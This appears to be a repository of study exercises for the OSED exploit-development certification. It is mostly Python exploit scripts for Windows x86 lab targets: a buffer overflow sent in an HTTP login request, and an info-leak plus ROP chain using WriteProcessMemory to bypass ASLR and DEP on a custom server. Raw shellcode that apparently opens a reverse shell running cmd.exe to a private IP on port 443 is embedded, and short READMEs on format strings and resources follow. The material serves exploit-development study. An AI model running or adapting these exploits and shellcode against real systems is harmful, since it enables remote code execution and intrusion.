112 | shellcode += b"\x78\x97\x21\xb3\xbc\x86\x35\x9e\x94\xdf\xa2"
113 | shellcode += b"\x54\x75\x92\x53\x68\x5c\x44\xf7\xfb\x3b\x94"
114 | shellcode += b"\x7e\xe0\x93\xc3\xd7\xd6\xed\x81\xc5\x41\x44"
115 | shellcode += b"\xb7\x17\x17\xaf\x73\xcc\xe4\x2e\x7a\x81\x51"
116 | shellcode += b"\x15\x6c\x5f\x59\x11\xd8\x0f\x0c\xcf\xb6\xe9"
117 | shellcode += b"\xe6\xa1\x60\xa0\x55\x68\xe4\x35\x96\xab\x72"
118 | shellcode += b"\x3a\xf3\x5d\x9a\x8b\xaa\x1b\xa5\x24\x3b\xac"
119 | shellcode += b"\xde\x58\xdb\x53\x35\xd9\xeb\x19\x17\x48\x64"
120 | shellcode += b"\xc4\xc2\xc8\xe9\xf7\x39\x0e\x14\x74\xcb\xef"
121 | shellcode += b"\xe3\x64\xbe\xea\xa8\x22\x53\x87\xa1\xc6\x53"
122 | shellcode += b"\x34\xc1\xc2"
123 | 
124 | rop = esi
125 | rop += ebp
126 | rop += ebx
127 | rop += edx
128 | rop += ecx
129 | rop += eax
130 | rop += edi
131 | rop += pushad
132 | 
133 | payload = b"A" * OFFSET
134 | payload += rop_nop
135 | payload += rop_nop
136 | payload += rop
137 | payload += b"\x90" * 50
138 | payload += shellcode
139 | payload += b"C" * (CRASH - len(payload))
140 | 
141 | 
142 | content = b"username=" + payload + b"&password=A"  
143 | buffer = b"POST /login HTTP/1.1\r\n" 
144 | buffer += b"Host: " + server.encode() + b"\r\n" 
145 | buffer += b"User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n" 
146 | buffer += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n" 
147 | buffer += b"Accept-Language: en-US,en;q=0.5\r\n" 
148 | buffer += b"Referer: http://10.11.0.22/login\r\n" 
149 | buffer += b"Connection: close\r\n" 
150 | buffer += b"Content-Type: application/x-www-form-urlencoded\r\n" 
151 | buffer += b"Content-Length: "+ str(len(content)).encode() + b"\r\n" 
152 | buffer += b"\r\n" 
153 | buffer += content
154 | 
155 | print("Sending evil buffer...") 
156 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
157 | s.connect((server, port)) 
158 | s.send(buffer) 
159 | s.close() 
160 | 
161 | print("Done!") 
162 | 


--------------------------------------------------------------------------------
/6.asrl_enabled/custom/README.md:
--------------------------------------------------------------------------------
1 | # Custom server  
2 | Created by myself to learn. It contains an info leak and a buffer overflow exploit.
3 | 
4 | # Do not rename the executable
5 | 


--------------------------------------------------------------------------------
/6.asrl_enabled/custom/exploit_wpm.py:
--------------------------------------------------------------------------------
  1 | import struct
  2 | import socket
  3 | 
  4 | TARGET_IP = "127.0.0.1"
  5 | TARGET_PORT = 12345
  6 | target = (TARGET_IP, TARGET_PORT) 
  7 | 
  8 | payload = struct.pack("<i", 0x6573796d) #esym
  9 | payload += struct.pack("<i", 0x74657263) #terc
 10 | payload += struct.pack("<i", 0x79656b) #yek
 11 | payload += struct.pack("<i",0x1)
 12 | payload += struct.pack("<i", 0x76726573) #vres
 13 | payload += struct.pack("<i", 0x652e7265) #e.re
 14 | payload += struct.pack("<i", 0x6578) #ex
 15 | payload += struct.pack("<i", 0x41414141) #padding
 16 | payload += struct.pack("<i", 0x4c304c) #LOL
 17 | 
 18 | with socket.create_connection(target) as sock:
 19 | 
 20 |     sent = sock.send(payload)
 21 |     print(f"sent {sent} bytes")
 22 |     resp = sock.recv(512)
 23 |     resp = str(resp).split("x")[1].replace("'","")
 24 | 
 25 | #print(resp)
 26 | base = hex(int("0x"+resp,16))
 27 | print(base)
 28 | server = int("0x"+resp,16)
 29 | #wpm = hex(int("0x"+resp,16) + 0xf238)
 30 | wpm = int("0x"+resp,16) + 0xf238
 31 | 
 32 | CRASH_LEN = 1900  # change me
 33 | offset = 1012
 34 | checksum_crash = int(hex(CRASH_LEN+20),16)
 35 | 
 36 | #\x00\x41
 37 | rop_nop = struct.pack("<I",server + 0x109d) #retn
 38 | 
 39 | #1st step - saving esp to eax&edx
 40 | rop = struct.pack("<I",server + 0x2805)   # PUSH ESP # XOR EAX,EAX # POP EBX # POP ESI # RETN    ** [server.exe] ** 
 41 | rop += struct.pack('<L',0x41414141) # padding for pop esi
 42 | rop += struct.pack("<I",server + 0x83f5) # MOV EAX,EBX # POP EBX # POP ESI # RETN    ** [server.exe] ** 
 43 | rop += struct.pack('<L',0x41414141) # padding for pop ebx
 44 | rop += struct.pack('<L',0x41414141) # padding for pop esi
 45 | 
 46 | #jumping over template
 47 | rop += struct.pack("<I",server + 0x90ec)  # ADD ESP,1C # RETN    ** [server.exe] **
 48 | 
 49 | rop += struct.pack('<L', wpm)    # Pointer to kernel32!WriteProcessMemory 
 50 | rop += struct.pack('<L', server + 0x9bfc)    # RX from MODULE no aslr (Protect: 00000020)
 51 | rop += struct.pack('<L', 0xFFFFFFFF)    # hProccess = handle to current process (Pseudo handle = 0xFFFFFFFF points to current process)
 52 | rop += struct.pack('<L', server + 0x9bfc)    # lpBaseAddress = RX from MODULE no aslr (Protect: 00000020)
 53 | rop += struct.pack('<L', 0x22222222)    # lpBuffer = base address of shellcode (dynamically generated)
 54 | rop += struct.pack('<L', 0x11111111)    # nSize = size of shellcode  - 0x300
 55 | rop += struct.pack('<L', server + 0x11008)    # lpNumberOfBytesWritten = RW in MODULE no aslr (Protect: 00000004) - DWORD  writable
 56 | 
 57 | #step 2 - patching wpm
 58 | rop += struct.pack('<L',server + 0x5ed1)  # ADD EAX,4 # POP EBX # RETN    ** [server.exe] *
 59 | rop += struct.pack('<L',0x41414141) # padding for pop ebx 
 60 | rop += struct.pack('<L',server + 0x5ed1)  # ADD EAX,4 # POP EBX # RETN    ** [server.exe] *
 61 | rop += struct.pack('<L',0x41414141) # padding for pop ebx 
 62 | rop += struct.pack('<L',server + 0x5ed1)  # ADD EAX,4 # POP EBX # RETN    ** [server.exe] *
 63 | rop += struct.pack('<L',0x41414141) # padding for pop ebx 
 64 | rop += struct.pack('<L',server + 0x5ed1)  # ADD EAX,4 # POP EBX # RETN    ** [server.exe] *
 65 | rop += struct.pack('<L',0x41414141) # padding for pop ebx 
 66 | rop += struct.pack('<L',server + 0x5ed1)  # ADD EAX,4 # POP EBX # RETN    ** [server.exe] *
 67 | rop += struct.pack('<L',0x41414141) # padding for pop ebx 
 68 | rop += struct.pack('<L',server + 0x17f1)  # MOV EBX,EAX # RETN    ** [server.exe] ** 
 69 | rop += struct.pack('<L',server + 0x90a5)  # MOV EAX,DWORD PTR [EAX] # RETN    ** [server.exe] **
 70 | rop += struct.pack('<L',server + 0x90a5)  # MOV EAX,DWORD PTR [EAX] # RETN    ** [server.exe] **
 71 | rop += struct.pack('<L',server + 0x17fa) # MOV DWORD PTR [EBX],EAX # RETN 
 72 | 
 73 | #step 3 - patching shellcodeaddress
 74 | rop += struct.pack('<L',server + 0x17ee)  # MOV EAX,EBX # RETN    ** [server.exe] ** 
 75 | rop += struct.pack('<L',server + 0x5ed1)  # ADD EAX,4 # POP EBX # RETN    ** [server.exe] *
 76 | rop += struct.pack('<L',0x41414141) # padding for pop ebx 
 77 | rop += struct.pack('<L',server + 0x5ed1)  # ADD EAX,4 # POP EBX # RETN    ** [server.exe] *
 78 | rop += struct.pack('<L',0x41414141) # padding for pop ebx 
 79 | rop += struct.pack('<L',server + 0x5ed1)  # ADD EAX,4 # POP EBX # RETN    ** [server.exe] *
 80 | rop += struct.pack('<L',0x41414141) # padding for pop ebx 
 81 | rop += struct.pack('<L',server + 0x5ed1)  # ADD EAX,4 # POP EBX # RETN    ** [server.exe] *
 82 | rop += struct.pack('<L',0xfffffddc) # padding for pop ebx  - 224
 83 | rop += struct.pack('<L',server + 0x17f4)  # MOV ECX,EAX # RETN  
 84 | rop += struct.pack('<L',server + 0x17fb)  # ADD EAX,EBX # XCHG EBX,EDX # CMP EBX,EAX # RETN 
 85 | rop += struct.pack('<L',server + 0x8ca8)  # MOV DWORD PTR [ECX],EAX # ADD ESP,34 # MOV EAX,1 # POP EBX # POP ESI # RETN 
 86 | rop += struct.pack('<L',0x41414141) # padding for pop ebx 
 87 | rop += struct.pack('<L',0x41414141) # padding for pop esi
 88 | rop += rop_nop
 89 | rop += rop_nop
 90 | rop += rop_nop
 91 | rop += rop_nop
 92 | rop += rop_nop
 93 | rop += rop_nop
 94 | rop += rop_nop
 95 | rop += rop_nop
 96 | rop += rop_nop
 97 | rop += rop_nop
 98 | rop += rop_nop
 99 | rop += rop_nop
100 | rop += rop_nop
101 | 
102 | #returning UP since i have no space!
103 | rop += struct.pack('<L',server + 0x3534)  # MOV EAX,ECX # RETN  
104 | rop += struct.pack('<L',server + 0x3055)  # POP EBX # RETN    ** [server.exe] ** 
105 | rop += struct.pack('<L',0xfffffbea) # -1046
106 | rop += struct.pack('<L',server + 0x17fb)  # ADD EAX,EBX # XCHG EBX,EDX # CMP EBX,EAX # RETN 
107 | rop += struct.pack('<L',server + 0x69ce)  # XCHG EAX,ESP # RETN    ** [server.exe] ** 
108 | 
109 | print(len(rop))
110 | rop += b"D" * (700 - len(rop))
111 | 
112 | 
113 | #step 4 - patching size
114 | rop2 = struct.pack('<L',server + 0x3534)  # MOV EAX,ECX # RETN  
115 | rop2 += struct.pack('<L',server + 0x5ed1)  # ADD EAX,4 # POP EBX # RETN    ** [server.exe] *
116 | rop2 += struct.pack('<L',0x41414141) # padding for pop ebx 
117 | rop2 += struct.pack('<L',server + 0x17f1)  # MOV EBX,EAX # RETN    ** [server.exe] ** 
118 | rop2 += struct.pack('<L',server + 0x3567)  # POP EAX # POP ECX # RETN    ** [server.exe] ** 
119 | rop2 += struct.pack('<L',0xfffffcfc) # - 300
120 | rop2 += struct.pack('<L',0x41414141) # padding for pop ecx 
121 | rop2 += struct.pack('<L',server + 0x14da)  # NEG EAX # RETN    ** [server.exe] **
122 | rop2 += struct.pack('<L',server + 0x17fa) # MOV DWORD PTR [EBX],EAX # RETN 
123 | 
124 | #step 5 returning to esp
125 | rop2 += struct.pack('<L',server + 0x17ee)  # MOV EAX,EBX # RETN    ** [server.exe] ** 
126 | rop2 += struct.pack('<L',server + 0x3055)  # POP EBX # RETN    ** [server.exe] ** 
127 | rop2 += struct.pack('<L',0xffffffec) # -20
128 | rop2 += struct.pack('<L',server + 0x17fb)  # ADD EAX,EBX # XCHG EBX,EDX # CMP EBX,EAX # RETN 
129 | rop2 += struct.pack('<L',server + 0x69ce)  # XCHG EAX,ESP # RETN    ** [server.exe] ** 
130 | 
131 | print(len(rop2))
132 | 
133 | #rop2 = b"A" * 56
134 | shellcode = b"\x89\xe5\x81\xc4\xf0\xf9\xff\xff\x31\xc9\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x5e\x08\x8b\x7e\x20\x8b\x36\x66\x39\x4f\x18\x75\xf2\xeb\x06\x5e\x89\x75\x04\xeb\x54\xe8\xf5\xff\xff\xff\x60\x8b\x43\x3c\x8b\x7c\x03\x78\x01\xdf\x8b\x4f\x18\x8b\x47\x20\x01\xd8\x89\x45\xfc\xe3\x36\x49\x8b\x45\xfc\x8b\x34\x88\x01\xde\x31\xc0\x99\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x24\x75\xdf\x8b\x57\x24\x01\xda\x66\x8b\x0c\x4a\x8b\x57\x1c\x01\xda\x8b\x04\x8a\x01\xd8\x89\x44\x24\x1c\x61\xc3\x68\x83\xb9\xb5\x78\xff\x55\x04\x89\x45\x10\x68\x8e\x4e\x0e\xec\xff\x55\x04\x89\x45\x14\x68\x72\xfe\xb3\x16\xff\x55\x04\x89\x45\x18\x31\xc0\x66\xb8\x6c\x6c\x50\x68\x33\x32\x2e\x64\x68\x77\x73\x32\x5f\x54\xff\x55\x14\x89\xc3\x68\xcb\xed\xfc\x3b\xff\x55\x04\x89\x45\x1c\xba\x38\x07\x1c\x52\x81\xc2\xef\xee\xee\xff\xf7\xda\x52\xff\x55\x04\x89\x45\x20\x68\x0c\xba\x2d\xb3\xff\x55\x04\x89\x45\x24\x89\xe0\x66\xb9\x90\x05\x29\xc8\x50\x31\xc0\x66\xb8\x02\x02\x50\xff\x55\x1c\x31\xc0\x50\x50\x50\xb0\x06\x50\x2c\x05\x50\x40\x50\xff\x55\x20\x89\xc6\x31\xc0\x50\x50\x68\xc0\xa8\x72\x9a\x66\xb8\x01\xbb\xc1\xe0\x10\x66\x83\xc0\x02\x50\x54\x5f\x31\xc0\x50\x50\x50\x50\x04\x10\x50\x57\x56\xff\x55\x24\x56\x56\x56\x31\xc0\x50\x50\xb0\x80\x31\xc9\x66\xb9\x80\xff\x66\xf7\xd9\x01\xc8\x50\x31\xc0\x50\x50\x50\x50\x50\x50\x50\x50\x50\x50\xb0\x44\x50\x54\x5f\xb8\x9b\x87\x9a\xff\xf7\xd8\x50\x68\x63\x6d\x64\x2e\x54\x5b\x89\xe0\x31\xc9\x66\xb9\x90\x03\x29\xc8\x50\x57\x31\xc0\x50\x50\x50\x40\x50\x48\x50\x50\x53\x50\xff\x55\x18\x31\xc9\x51\x6a\xff\xff\x55\x10"
135 | shellcode += b"\x90" * (500-len(shellcode))
136 | 
137 | payload = struct.pack("<i", 0x6573796d) #esym
138 | payload += struct.pack("<i", 0x74657263) #terc
139 | payload += struct.pack("<i", 0x79656b) #yek
140 | payload += struct.pack("<i",0x8)
141 | payload += struct.pack("<i",checksum_crash)
142 | payload += b"A" * 10
143 | payload += rop2
144 | payload += b"A" * (offset - 500 - len(rop2) - 10)
145 | payload += shellcode
146 | payload += rop_nop
147 | payload += rop
148 | payload += b"A" * (CRASH_LEN - len(rop) - offset  - 4)
149 | 
150 | with socket.create_connection(target) as sock:
151 | 
152 |     sent = sock.send(payload)
153 |     print(f"sent {sent} bytes")
154 |     
155 | 


--------------------------------------------------------------------------------
/6.asrl_enabled/custom/server.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mrtouch93/OSED-Notes/fe06c98e792da083150d7428e556b95bd86a4e0c/6.asrl_enabled/custom/server.exe


--------------------------------------------------------------------------------
/7.format_strings/README.md:
--------------------------------------------------------------------------------
 1 | # Format String
 2 | 
 3 | 1. %d --> Decimal (int): output decimal number
 4 | 2. %s --> String: Reads string from memory
 5 | 3. %x --> Hexadecimal: Hexadecimal Number
 6 | 4. %n --> Number of bytes written so far: Writes the number of bytes till the format string to memory
 7 | 
 8 | 
 9 | ## Resources
10 | 1. https://www.exploit-db.com/docs/english/28476-linux-format-string-exploitation.pdf
11 | 2. https://osandamalith.com/2018/02/01/exploiting-format-strings-in-windows/
12 | 3. https://vulndev.io/2022/06/12/bypassing-dep-with-writeprocessmemory/
13 | 


--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
 1 | # OSED Notes + Exercise
 2 | 
 3 | Containing some notes + exercises that I've done during my study for the Offensive Security Exploit Developer. 
 4 | 
 5 | Every exercise has been done on Windows 10 x86.
 6 | 
 7 | ## Contents
 8 | - [Stack Overflow](https://github.com/mrtouch93/OSED-Notes/tree/main/1.stack_overflow)
 9 | - [SEH Overflow](https://github.com/mrtouch93/OSED-Notes/tree/main/2.seh-overflow)
10 | - [Egghunter](https://github.com/mrtouch93/OSED-Notes/tree/main/3.egghunter)
11 | - [DEP Bypass](https://github.com/mrtouch93/OSED-Notes/tree/main/5.dep_bypass)
12 | - [ASLR+DEP Bypass](https://github.com/mrtouch93/OSED-Notes/tree/main/6.asrl_enabled)
13 | - [Format String](https://github.com/mrtouch93/OSED-Notes/tree/main/7.format_strings)
14 | 
15 | ## Mona Cheat Sheets
16 | 1. https://www.corelan.be/index.php/2011/07/14/mona-py-the-manual/
17 | 2. https://www.slideshare.net/CeSeNA/mona-cheatsheet-8833245
18 | 
19 | ## WinDBG Cheat Sheets
20 | 1. https://sites.google.com/site/taesaza0/etc/windbgcheatsheet?overridemobile=true
21 | 2. https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/getting-started-with-windbg
22 | 3. http://windbg.info/doc/1-common-cmds.html
23 | 4. http://etutorials.org/Programming/programming+microsoft+visual+c+sharp+2005/Part+IV+Debugging/Chapter+13+Advanced+Debugging/WinDbg/
24 | 5. https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/windows-debugging-exploiting-part-2-windbg-101/
25 | 6. https://web.archive.org/web/20160506031348/https://mtaulty.com/2004/08/03/m_4656/
26 | 
27 | 
28 | ## Additional Resources
29 | 1. https://github.com/epi052/osed-scripts
30 | 2. https://github.com/nop-tech/OSED
31 | 3. https://github.com/sradley/osed
32 | 4. https://github.com/ommadawn46/win-x86-shellcoder
33 | 5. https://www.fuzzysecurity.com/tutorials.html (Windows Exploit Development Tutorial Series)
34 | 6. https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/ (Follow every guides)
35 | 7. https://www.shogunlab.com/blog/2017/08/11/zdzg-windows-exploit-0.html
36 | 8. https://sec4us.com.br/cheatsheet/bufferoverflow-egghunting
37 | 9. https://mikeczumak.com/blog/windows-exploit-development-part-1-basics/
38 | 10. https://epi052.gitlab.io/notes-to-self/blog/2020-05-22-osce-exam-practice-part-seven/
39 | 11. https://web.archive.org/web/20190218144432/https://vellosec.net/2018/08/carving-shellcode-using-restrictive-character-sets/
40 | 
41 | ## Additional Exercises
42 | 1. https://github.com/Nero22k/Exploit_Development
43 | 2. https://github.com/CyberSecurityUP/Buffer-Overflow-Labs
44 | 3. https://www.purpl3f0xsecur1ty.tech/2021/05/26/trun_re.html
45 | 4. https://github.com/anvbis/windows.x86.expl
46 | 5. https://gitlab.csc.tntech.edu/CIG/CIG-Infrastructure/-/blob/script-fixes/ExploitDBApps/Windows.vuln.apps
47 | 6. https://github.com/VoidSec/Exploit-Development/tree/master/windows/x86
48 | 7. https://github.com/connormcgarr/Exploit-Development/
49 | 8. https://github.com/xct/vulnbins
50 | 9. https://github.com/bmdyy/signatus
51 | 


--------------------------------------------------------------------------------